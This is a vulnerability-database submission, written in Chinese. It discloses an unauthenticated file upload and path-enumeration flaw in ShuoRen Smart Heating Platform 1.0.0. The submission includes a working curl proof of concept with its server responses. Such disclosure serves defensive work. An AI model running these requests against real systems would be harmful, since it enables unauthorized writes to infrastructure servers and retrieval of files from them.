| Title | 北京硕人时代科技股份有限公司 北京硕人时代智慧供热平台 1.0.0 未登录下文件上传以及下载 |
|---|
| Description | 未授权文件上传，可以不登录的情况下上传文件。
上传文件路径泄露与可公开下载，上传的文件可以通过枚举得到路径，并且再次下载到本地。
以下是完整复现
```bash
BASE="http://x.x.x.x:8001"
echo "poc" >/tmp/poc.txt
curl -i -X POST "$BASE/MP/Service/Webservice/ExampleNodeService.asmx/UpFileToExample" \
-F "sData=1" \
-F "file=@/tmp/poc.txt;type=text/plain"
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 11 Feb 2026 13:48:45 GMT
Content-Length: 18
文件上传成功
IMG=$(curl -s "$BASE/MP/Service/Webservice/ExampleNodeService.asmx/GetExampleNodeStr" \
| rg -o '\.\./Images/[^"]*poc\.txt' | tail -n1)
echo "$IMG"
curl -i "$BASE/MP/${IMG#../}"
../Images/A1A639064433254215017Apoc.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 11 Feb 2026 13:48:45 GMT
Accept-Ranges: bytes
ETag: "e1f639245d9bdc1:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Wed, 11 Feb 2026 13:54:48 GMT
Content-Length: 4
poc
``` |
|---|
| Source | ⚠️ http://x.x.x.x:8001 |
|---|
| User | zsmaaa (UID 93294) |
|---|
| Submission | 02/11/2026 03:14 PM (2 months ago) |
|---|
| Moderation | 02/23/2026 02:59 PM (12 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 347381 [ShuoRen Smart Heating Integrated Management Platform 1.0.0 ExampleNodeService.asmx File unrestricted upload] |
|---|
| Points | 17 |
|---|